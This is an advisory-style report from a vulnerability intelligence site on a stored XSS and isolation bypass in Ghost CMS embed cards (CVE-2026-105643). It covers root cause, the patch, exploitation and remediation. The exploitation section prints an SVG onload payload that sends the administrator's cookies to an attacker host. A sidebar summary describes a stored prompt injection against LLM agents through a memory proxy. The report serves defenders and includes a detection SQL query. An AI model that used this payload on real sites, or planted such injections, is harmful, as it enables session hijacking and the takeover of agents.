CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-105643

CVE-2026-105643: Stored Cross-Site Scripting and Isolation Bypass in Ghost CMS

Alon Barad
Alon Barad
Software Engineer

Oct 7, 2026·6 min read·25 visits

Executive Summary (TL;DR)

A vulnerability in Ghost CMS's Lexical-based editor allows low-privileged staff members to inject malicious script payloads via embed cards. When an administrator views the post in the editor, the script executes on the same origin as the administrative panel, enabling full session hijacking. The issue is resolved in version 6.67.0 by isolating embed previews under a separate origin.

Stored Cross-Site Scripting (XSS) and origin isolation bypass vulnerability in Ghost CMS versions 6.34.0 through 6.66.1 allows low-privileged staff users to execute arbitrary JavaScript in the context of an administrator session via crafted embed cards.

Vulnerability Overview

Ghost is a widely deployed open-source content management system built on Node.js. The application exposes an administrative control panel typically hosted at the /ghost/ URI path. This administrative interface handles content creation, user management, and system configuration.

From version 6.34.0, the administrative editing canvas transitioned to a rich text framework based on Lexical, packaged as @tryghost/koenig-lexical. This framework implements dynamic components called 'Embed Cards' to render live previews of external rich media services such as YouTube, Twitter, and other oEmbed providers. These cards are rendered directly inside the active editing canvas when a staff user creates or modifies a post draft.

A design flaw exists in the rendering logic of these embed cards. The application fails to isolate the execution context of the generated card preview from the main administrative interface origin. This exposes an attack surface where low-privileged users can inject persistent, malicious script payloads that execute in the browser of high-privileged administrative users.

Root Cause Analysis

The core of the vulnerability involves a combination of Stored XSS (CWE-79) and Improper Isolation (CWE-653). The Koenig editor framework displays interactive media previews directly inside the post creation panel. The system relies on retrieving stored oEmbed metadata from the database and loading it into the document object model.

A prior advisory, tracking under GHSA-8vhf-xxpj-4qrg, introduced text-based input filtering to strip executable scripts. However, modifications introduced in version 6.34.0 disrupted this validation sequence. Attackers bypass these string filters by embedding malicious JavaScript within nested SVG elements, malformed iframe targets, or non-standard protocols.

The fundamental flaw is the shared origin execution space. Because the rendering iframe resides on the administrative panel's domain, the browser permits it to bypass standard document boundaries. The script executes directly in the victim's active session, utilizing the administrative origin to bypass access controls.

Code and Patch Analysis

The vulnerability was resolved in Ghost version 6.67.0. The remediation is architectural and shifts from input-based sanitization to strict origin isolation. Rather than filtering dangerous elements, the patch introduces a configuration setting that forces the rendering engine to load previews from a separate, isolated domain.

In the official patch commit 4cb7e7956356a47e2c2c240588ef32ecd9fddeaa, the development team updated dependencies to version 1.11.0 of @tryghost/koenig-lexical. This update introduces the embedPreviewUrl configuration parameter. The following code diff highlights the administrative interface package upgrade:

// apps/ember-admin/package.json
@@ -1,6 +1,6 @@
 {
   "name": "ghost-admin",
-  "version": "6.66.1-rc.0",
+  "version": "6.67.0",
   "description": "Ember.js admin client for Ghost",
   "author": "Ghost Foundation",
   "homepage": "http://ghost.org"

By passing a distinct URL to the editor via security.embedPreviewUrl, the application structures the preview rendering to occur on a sandboxed origin. Because the sandboxed origin is distinct from the primary administrative panel domain, the browser's Same-Origin Policy restricts the frame from interacting with the parent administrative context. Even if a script successfully bypasses sanitization and executes within the preview, it remains trapped inside the isolated origin and cannot access administrative data, session cookies, or the parent document API.

Exploitation Methodology

To execute this exploit, an attacker must have an active staff account on the target Ghost CMS instance, such as a 'Contributor' or 'Author' role. These roles do not possess administrative permissions but have authorization to create and edit post drafts. The attack is highly targeted and does not require external network exposure of internal interfaces.

The attacker starts by creating a new post draft. Using the Ghost editor interface, the attacker inserts a custom embed block or directly manipulates the post payload schema to include a malicious oEmbed structure. The payload contains standard XSS vectors hidden within attributes or structures that bypass simple text filters, such as an SVG element containing an executable script block:

<svg onload="fetch('https://attacker.com/log?c=' + document.cookie)"></svg>

Once the draft is saved, the stored payload remains passive in the database. The exploitation occurs when an administrator or editor reviews the pending drafts. When the victim opens the post in the Koenig editor, the application parses the schema, initializes the @tryghost/koenig-lexical editor component, and loads the embedded content in the same-origin frame. The script triggers immediately, sending the administrator's active session identifiers and CSRF tokens to the attacker's server, enabling full session takeover.

Impact Assessment

The impact of CVE-2026-105643 is classified as High, with a CVSS v3.1 base score of 7.3. Because the vulnerability requires a low-privileged authenticated account and user interaction, the overall severity is slightly mitigated in generalized scoring metrics. However, in targeted scenarios, the impact is equivalent to an unauthenticated remote compromise.

A successful exploit grants the attacker the exact privilege level of the victim who viewed the post. If an administrator views the post, the injected script gains complete access to the Ghost administrative REST API. This allows the script to perform administrative actions, including adding new administrator users, altering system configurations, modifying publication themes, and injecting persistent malware into public-facing pages.

The confidentiality and integrity impacts are rated as High. The script can retrieve database configurations, API keys for third-party integrations, and user lists. Because the script executes in the administrative context, there is no direct impact on system availability, meaning the host server continues to run normally, often hiding the active compromise from administrators.

Remediation and Detection

The primary remediation strategy is upgrading the Ghost installation to version 6.67.0 or higher immediately. This update enforces origin isolation for all embed card previews. Administrators must verify that the security.embedPreviewUrl setting is configured to use a sandboxed origin and is not modified to point back to the main domain.

For environments where immediate patching is not feasible, security administrators can run a database query to search for stored malicious scripts in active draft post schemas. The following SQL query searches for scripts, inline event handlers, or pseudo-protocols within the posts table:

SELECT id, uuid, title, status 
FROM posts 
WHERE (mobiledoc LIKE '%<script%' OR lexical LIKE '%<script%')
   OR (lexical LIKE '%javascript:%' OR lexical LIKE '%onload%');

Organizations should also audit user roles and demote unnecessary staff accounts. Restricting authoring permissions minimizes the overall attack surface by limiting the number of users capable of inserting embed elements into the publication database. Implementing egress network monitoring for administrative systems helps identify unauthorized API calls and credential exfiltration.

Official Patches

TryGhostGitHub Security Advisory for CVE-2026-105643

Fix Analysis (1)

Technical Appendix

CVSS Score
7.3/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
EPSS Probability
0.27%
Top 82% most exploited

Affected Systems

Ghost Content Management System

Affected Versions Detail

Product
Affected Versions
Fixed Version
Ghost
TryGhost
>= 6.34.0, < 6.67.06.67.0
AttributeDetail
CWE IDCWE-79, CWE-653
Attack VectorNetwork
CVSS Score7.3
EPSS Score0.00271
ImpactHigh (Complete Session Compromise)
Exploit StatusNone (No public PoC)
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The application fails to fully sanitize input parameters inside embed cards, allowing user-supplied HTML and JavaScript payloads to persist in the database and render to administrative users.

Vulnerability Timeline

Release candidate packages prepared and version bumps executed
2026-09-29
Koenig-lexical dependency upgraded to version 1.11.0
2026-09-29
CVE-2026-105643 assigned and published globally
2026-10-05
TryGhost issues security advisory GHSA-69qc-f5m6-889c
2026-10-05
NVD record created and analyzed
2026-10-06

References & Sources

  • [1]GHSA-69qc-f5m6-889c: Stored XSS via Embed Card Previews
  • [2]Ghost Release 6.67.0 Version Bump Commit
  • [3]NVD - CVE-2026-105643
  • [4]CVE.org Record
  • [5]OSV Database JSON Source
  • [6]Penpot Security Cross-Reference

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 18 hours ago•CVE-2026-58254
6.5

CVE-2026-58254: Authorization Bypass in NATS Server Message Tracing for Leaf Node Connections

NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.

Alon Barad
Alon Barad
4 views•10 min read
•about 19 hours ago•CVE-2026-63341
7.5

CVE-2026-63341: Unauthenticated Denial of Service via Unbounded Topic Depth in Aedes MQTT Broker

CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.

Alon Barad
Alon Barad
6 views•12 min read
•about 20 hours ago•CVE-2026-61725
6.1

CVE-2026-61725: Path Traversal and Arbitrary File Overwrite in sevenz-rust2

CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.

Alon Barad
Alon Barad
5 views•12 min read
•about 21 hours ago•CVE-2026-77309
8.8

CVE-2026-77309: Unauthenticated Remote Code Execution in NASA-AMMOS AIT-GUI via Incomplete File Cleanup and Path Traversal

CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.

Amit Schendel
Amit Schendel
10 views•10 min read
•about 22 hours ago•CVE-2026-77332
2.3

CVE-2026-77332: Surfaced-Memory Envelope Injection and Stored Prompt Injection in memtomem-stm

A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.

Alon Barad
Alon Barad
12 views•10 min read
•about 23 hours ago•CVE-2026-77331
2.0

CVE-2026-77331: Race Condition and Session State Corruption in memtomem-stm

CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.

Amit Schendel
Amit Schendel
6 views•9 min read